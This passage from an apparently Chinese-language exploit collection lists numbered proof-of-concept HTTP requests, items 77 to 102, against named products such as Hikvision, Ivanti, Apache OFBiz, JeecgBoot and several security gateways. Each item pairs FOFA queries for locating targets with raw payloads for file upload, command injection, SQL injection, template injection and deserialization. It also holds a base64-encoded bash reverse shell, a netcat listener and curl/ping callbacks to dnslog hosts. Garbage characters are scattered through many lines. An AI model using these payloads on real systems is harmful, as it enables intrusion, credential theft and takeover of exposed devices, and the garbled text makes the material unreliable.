  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
4 Q2 i6 ~+ p5 c0 q* |3 q* `0 ]( `$ a}
2 U  E9 d0 A- l3 r
) p; K  m+ r. w: ~* N6 q: j
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
: b* w2 p. `/ n& |3 f


+ U3 P( o% \1 S77. F22服装管理软件系统UploadHandler.ashx任意文件上传
% q) D, W+ z: YFOFA：body="F22WEB登陆"
+ h+ |8 H; ]& i0 |8 p8 l2 D6 P* ~POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
; k; Z6 i- c. J: MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
+ R6 ~0 y- Q6 j: X' u! UConnection: close
1 T$ o: A: H6 i6 d. SContent-Length: 433
# h2 A: U3 V& S  h8 F1 S# oAccept: */*
Accept-Encoding: gzip, deflate
9 n# _$ U: E1 T& e, Q. i9 U9 Y9 DAccept-Language: zh-CN,zh;q=0.9
0 S1 k. _8 l, j1 jContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
- v/ S; ]: u; J2 Z
. T' o+ y) y' Y4 D6 [------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
; ~( R- t3 E3 d
hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
) g/ x; n: [3 v! e5 S
# C; H/ F) j) v1 c8 ISubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
2 Q" X- b7 D) ?; o" aPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
/ n, g  E3 j8 z' o0 XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ {3 ~# ?# ?' R. E/ Q9 l' M/ N7 S" cConnection: close
Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

5 c1 @$ k6 p* J7 T( ^% _; g------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
' p/ \; L4 W0 H/ M0 e; `0 B
" T  ?, d$ U3 q$ j9 y' fYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
! D- v  D) `- _4 c6 _7 b8 eContent-Disposition: form-data; name="target"
% A( N' ~" o6 v
- i0 k1 ]  j  [5 O/ r% K6 J2 _8 o/Applications/SkillDevelopAndEHS/
. w7 i& z& ^4 e# J" ?------YsOxWxSvj1KyZow1PTsh98fdu6l--
* e+ g: X) y" i9 L, O: }- b
) V3 x( ~# I# I/ w8 _8 [
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x

2 F8 X- R% n/ k+ c' Y( `* j! [
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
5 q: k1 J7 R- w& l% i8 [GET /goform/webRead/open/?path=|id HTTP/1.1
  x) X$ K4 e) u- IHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 j9 G4 ]8 b) A$ m9 @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 a8 U# _: c9 N8 C+ wAccept-Encoding: gzip, deflate
, ]- r, H) R3 X; MConnection: close
6 Z# G# B4 k7 \Upgrade-Insecure-Requests: 1
3 T5 L7 C/ r4 S2 B
) Y( Q: e( @4 y9 y7 @/ C  ^; y
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
/ p6 ?8 Q! i/ O! nPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
' k. S8 P" j, F! v1 i1 cHost: x.x.x.x
6 J+ {$ X: O: q9 D. f5 U. VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! A/ v9 z6 g& e' b+ d, C. P3 ?: `6 F5 DContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  V! k$ N% X3 Z4 U! l$ b. p+ W' |Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
; q7 C7 X. [: a2 Z0 @Content-Type: application/octet-stream
( Z, l1 X! S9 X" D4 i4 s. f; EUpgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>
$ D$ V+ L5 {- q) O1 K6 X

# U% \& s2 ]9 I4 q% L" v: OGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
) M6 Z3 C5 j. P4 v6 w, DAccept-Encoding: gzip

. w. x6 z  Q' N( ^, S) y0 y
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
: `/ N6 L* h# H7 Q$ s1 a  S4 QFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
  s( X% o- z6 n# r2 l3 m0 f, W( j$ HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. z' N. r  a- N2 P* q" S9 ~Connection: close
Accept-Encoding: gzip
! F" x& y' v$ B$ G% \4 j
3 g/ _( [* v3 c" O
2 A  X: `- Z  W+ D, e82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
9 }$ q: s  r, \, K% YFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
, P8 f+ r$ ^% A7 C* k3 B* p0 q( SUser-Agent: Go-http-client/1.1
2 @' J$ `% P1 mContent-Length: 23
Accept-Encoding: gzip
Connection: close
' ]0 [0 F( Y. W% H* sContent-Type: application/x-www-form-urlencoded
$ Y" p- o) X) DReferer: BaseURL

z1=1&z2="|id;"&z3=bhost

! M& [  e* M9 k" O" n7 {7 o6 V; N
83. JeecgBoot testConnection 远程命令执行
: _3 I/ S% D8 g7 G( wFOFA：title=="JeecgBoot 企业级低代码平台"


POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
: c6 G6 q/ }4 m3 c# d5 w; BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' P" D0 v3 n) @+ \. K) |2 U2 ^6 @Connection: close
; I4 x1 V* E1 P' W  `3 tContent-Length: 8881
4 `- _; e4 j* B+ eAccept-Encoding: gzip
! Y! f/ k" j+ ^% v" O" w1 hCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
" R, j: f6 E5 W
1 Q+ V* `/ O* K4 m7 r  K; xPAYLOAD
2 p: n  j: i& |+ ~2 i& F6 b4 {
4 n5 k: d/ j1 w. h) \; t84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"


) S; q9 X2 e. E' A
7 T! o: L" V/ wPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
9 L4 q8 l$ q5 H$ X+ xContent-Length: 156
Accept: */*
Connection: close
* _; o. H+ v  s1 f3 D1 l- FContent-Type: application/json
Accept-Encoding: gzip

7 t! T- J  l- D& p, v6 F4 D) P{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
) j; S5 ]/ K* l' B: @/ _/ Y  "type": "0"
}
$ n1 h' D4 w& z! b1 @3 }3 E% t/ D
- O9 O- C7 Z' S. Y
% D4 F; G9 X9 M+ ]1 p1 E% h85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
( _; A" H, ^2 N6 \EXP数据包如下，注入哥斯拉马
) E8 x+ ^' l/ p6 F9 rPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
# |) p! K5 k, ]' {; O# IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip

PAYLOAD

3 ~4 N6 V- ^, q# X回显URL：http://x.x.x.x/userfiles/index.jsp
1 m  C+ Q0 c- q5 h. V( x1 ]
4 r) p  v- o$ k86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
: P( l" |; G7 ~- q- ^- b0 WPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
Accept: */*
Accept-Encoding: gzip
5 g+ {0 U/ ^/ PAccept-Language: en
Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping

( D7 u+ R4 R3 C" ]& j0 M, J
- o: |$ A( e0 ~1 A! b! U87. 安恒明御安全网关aaa_local_web_preview文件上传
4 ^; u: k" \9 l3 b3 G. SFOFA：title="明御安全网关"
7 Z) Z9 V# S/ O: ~1 _6 U+ ?/ S6 }8 W5 CPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
2 \; r$ \/ p- d3 VHost: X.X.X.X
9 J- r! @! G; \$ C" EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  T0 x! h5 ~' y9 `Connection: close
Content-Length: 198
Accept-Encoding: gzip
2 g- V0 ]& w3 IContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain

' w7 e+ f$ E. ~# s2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--

: N4 `% h4 x" P+ L, X
) u$ N0 I" b1 F% [. w/jfhatuwe.php

/ C) @4 \5 D+ R5 g88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
% w8 q' K0 m+ A: b! ~GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
/ k  j. }" e5 k7 }$ K( ?/ ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 K' o! {- @" g4 v& ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& o+ |- @  V" e3 e& gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close


/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
6 e8 X0 x& p9 l: G$ l# i* H1 fPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 W9 i! U) D' h# TConnection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
% M2 e' K+ ]- I3 U! z% p  PAccept-Encoding: gzip
/ X) ~- F* m0 p: I, D
option=2&GUID=-1'+union+select+111*222--+


* Y! l6 L5 \9 Y. {5 N  @8 p& f90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
: }  \% D* m, W, ZPOST /php/ping.php HTTP/1.1
$ D9 R$ Q/ a0 U( I- AHost: x.x.x.x
  ?3 ]1 ^* T6 `& [' PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
: z: D8 }( K6 c( ^3 g7 dAccept: application/json, text/javascript, */*; q=0.01
' r" J1 M# A5 q! K. ?- gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
, K( [' m' b$ I8 ]* \- Z# nContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
( x' A9 U2 |& Y3 |+ c4 s
- j$ `5 l8 D# s6 \" ajsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
# y. y2 j' M# v2 _! TGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
; [( g! X0 l" h' NHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
1 C0 ]9 |+ Z3 r4 V5 Z
; Y4 @) M* V; K
1 T. M# |, o2 [  n% V! Q7 P
$ C! D  |9 E" @; O  [1 ?92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
7 Y/ A4 Q# q( `4 L  p1 cPOST /center/api/session HTTP/1.1
8 O' L+ [* o- iHost:
Accept: application/json, text/plain, */*
( h* t/ F$ H( d8 yAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
  R  E& _% w& u( k; t- d: n1 jContent-Type: application/json;charset=UTF-8
: x" _- I) ^3 O# I* q0 p4 PX-Language-Type: zh_CN
4 }% q0 b  K5 L8 I" I. n$ nTestcmd: echo test
; J+ A- m2 S9 b0 b6 ]7 _$ s& c8 {. e5 [5 YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
/ O! `5 L, y+ ]$ q$ y1 F/ xContent-Length: 5778

PAYLOAD
/ w8 h, w2 s/ c: X2 I

93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
* z$ Y3 S# m! `) Z; aPOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
' g5 \, R! [0 o; n  gContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
+ s- J  U  X3 J$ h" @User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

/ U! D+ O9 z$ V8 A7 @) [------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
/ {6 F1 ?- p5 u
5 O1 {: w7 ]3 Z/ u7 ]10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
5 q% y% P7 [8 I' y) }$ g) s8 f- VContent-Type: text/plain
" d5 R: a$ z/ I7 ~* @6 b0 K
8 S: X2 X: \7 s8 Nwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
) D, f+ ], r% ?6 l/ u
" Z$ g/ l' G+ Y: `obj_app_upfile
; E2 @* _  i. o7 m$ n+ n. ?9 ?0 M2 Y------WebKitFormBoundarykcbkgdfx
. V! k7 ?3 ~2 I0 v7 F+ ]' ?% eContent-Disposition: form-data; name="__hash__"

+ D, h3 c+ B3 A& W& _0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
: ]; K+ V% m9 a) X: |/ K, z
/ F  t! d9 \1 u: n, g8 P; \, _0 F
GET /attachements/xlskxknxa.txt HTTP/1.1
- P3 Q. o( r" RHost: xx.xx.xx.xx
$ G, I8 n% V2 H8 u% G) LUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
# x, m% Q& K, R) e. K( x" YFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
2 r& x- f. S" Q7 GHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
7 z5 H+ `3 x$ r5 C5 o+ nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
5 w. h& R; e) O& ~1 o! E5 r5 A/ h
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
( J0 J4 p' K4 s6 H7 k  N- r
10000000
3 ?! k: B1 O. C' V, Y! [7 S+ x, o5 @- Y------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
. [  f: x6 z; z9 u8 L3 \9 ZContent-Type: text/plain
/ v3 D! R& i' g" `9 V. U
pxplitttsrjnyoafavcajwkvhxindhmu
+ P! w2 Z+ |& V8 P4 [3 ?& e------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

2 H7 G, E& _3 h, q4 ]; e& kobj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
* _) U# K; H0 I# U
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
# _$ p% I1 F0 {. p" R6 P) [) T
6 \2 j2 _: U* l+ s- o' H

( A: \4 O- C! w9 R: S2 A4 A" G6 U) nGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
/ g7 g: P3 Y1 _1 z7 oUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


$ q5 O5 w* g/ U/ w% V  v
. l2 N# L/ a( H95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
  `2 ]" ?% @6 y7 w7 @% O# APOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
2 p1 F2 N7 ^8 }8 E% |  RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
7 @& B) D; T8 q# d( `  QConnection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
: E/ K* ?8 r. t  K, G) D5 k
<?xml version="1.0"?>
<methodCall>
4 s& ]2 }6 u+ s8 W7 V3 v" ]# q3 C   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
/ s, R1 ^$ _, A9 ~    <params>
      <param>
2 W2 @7 r; J1 |& k      <value>
        <struct>
       <member>
4 U! R" b: Y1 T9 s- s) o  _* C; M4 b          <name>test</name>
          <value>
& w0 v+ Q! y* S1 z; P- g      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
. D2 U. ?. Q: ?5 }) s          </value>
4 b" M8 ^. [5 e+ f$ U! T( N        </member>
4 T! X% ~  Q% Q% |; {7 B: I/ g8 P9 {6 s      </struct>
      </value>
1 ^, b  T6 X$ w5 X    </param>
6 ^9 l+ O$ V0 P# _0 f    </params>
</methodCall>
9 J' z9 Y( U: x7 o/ B% A

用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
6 h2 U" G) q$ r! Q& U( j4 K

将生成的payload替换到上面的POC
! i& R* O$ s, p/ `) `POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
/ S0 H! ^/ T; B2 i% z, ZContent-Type: application/xml
Accept-Encoding: gzip
% U. q$ {( O) a# ~6 a$ \
, Q% M! I4 n$ i1 R" Y6 c% y" TPAYLOAD
8 `# V" }3 R0 \4 `  J) j& m
96. Apache OFBiz  18.12.11 groovy 远程代码执行
  O' h0 q/ ^, [0 L2 BFOFA：app="Apache_OFBiz"
- p! P8 {  r! T& MPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
, S/ ]& n1 `" P; aHost: localhost:8443
8 [0 h7 ~: j  MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
( Y6 j1 w# t& h9 \2 MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
6 x5 Y/ Z: T0 ?# R; |Content-Length: 55
( n3 \+ p* m! m  J1 @% L
groovyProgram=throw+new+Exception('id'.execute().text);
8 v$ H/ L: F0 g: Z  s, l
9 e7 p+ k6 D2 t( W( g. H) ~# {. i* D
反弹shell
0 Z. ]" M) J7 K3 W: w5 B在kali上启动一个监听
0 z' q4 ~* r+ G) a6 Q1 ?nc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
& y# p7 i% c  |& q8 e0 O0 y# v% i0 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
* L/ Q* Z, N$ f$ GAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ T2 j; h1 P6 r4 I7 p+ h5 t5 O$ sContent-Type: application/x-www-form-urlencoded
2 f/ Q* a+ k, P3 P( B* r% g2 MContent-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
* N4 C) }% e/ C; H- e% K
+ e- X2 }. [; E7 B- ~9 A. m! |97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
% W9 s6 ~+ T$ J$ qFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
% X. T1 H8 T+ g& o+ K6 {2 y9 y. BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 n; A( u  p# U: ~, h* D4 [Accept-Encoding: gzip
$ `5 D2 T5 P& lConnection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

7 J5 I; z; s* f: n' z8 c
98. SpiderFlow爬虫平台远程命令执行
) U+ B) R9 k: B" RCVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
$ V) `3 @0 Q" u' h' }' x+ W/ UHost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
6 K& z3 J) f% \$ S- G6 O' cContent-Length: 121
Accept: */*
. d1 Y! G1 W0 cAccept-Encoding: gzip, deflate
1 [5 I8 s0 Z. l( P2 M6 o% [+ vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

' T! O4 }1 i# w" k1 P! C$ Y0 aid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
- K6 ~6 P* K4 S$ o! vPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
" @+ W, e9 w+ {) j; m0 y' ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
8 W% i+ P! c+ M) [Connection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
4 @9 g: v$ V+ X; _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% b% f5 q# _  p- _3 sContent-Type: application/x-www-form-urlencoded; charset=UTF-8
- r( G  r  t3 q  e3 EX-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
9 \  @; t! X7 y# n8 i
2 T$ D8 ?& S' m& s
# g& D! ~+ ^: B. k" R100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
/ `: [" l5 Z/ K. U* [# YCVE-2024-0352
5 W, U* B4 U3 k. v$ Z6 NFOFA：icon_hash="874152924"
" F$ N: @9 A5 A- R/ W1 T( YPOST /api/file/formimage HTTP/1.1
. y! l; E& l6 gHost: 192.168.40.130
  l4 O2 }6 G* k' nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
% m+ ?  n. G. H0 n5 HAccept-Encoding: gzip
2 v: l$ n2 V1 O% X. y' F
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
) @" t: E% ^- I6 h& }, A+ TContent-Type: application/x-php
0 M* x  v4 x: F' }
4 s8 U) I9 l' @- K  w; C9 L2ayyhRXiAsKXL8olvF5s4qqyI2O
# a' F4 }, u7 ?- P5 {------WebKitFormBoundarygcflwtei--
0 G6 k2 G2 d6 f" V/ [+ w; q8 g
" |1 n1 F# g! G1 e$ f5 V: J& O
101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
$ w9 C% v4 B! h5 V' K5 `' g( \GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
2 }3 I0 o" L3 Q7 \9 T+ {3 oHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip


102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
  f4 ~* X* v9 G3 ]FOFA：body="welcome.cgi?p=logo"
# m- g0 @0 R, H. x; `POST /dana-ws/saml20.ws HTTP/1.1
: ^& I7 Q3 p; Y5 j8 q9 w$ A) VHost: x.x.x.x
# L; [+ p7 h- L/ {$ x, q2 ]. d) D7 l! oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
, L$ ~3 c# g7 ?7 eConnection: close
Content-Length: 792
Accept-Encoding: gzip

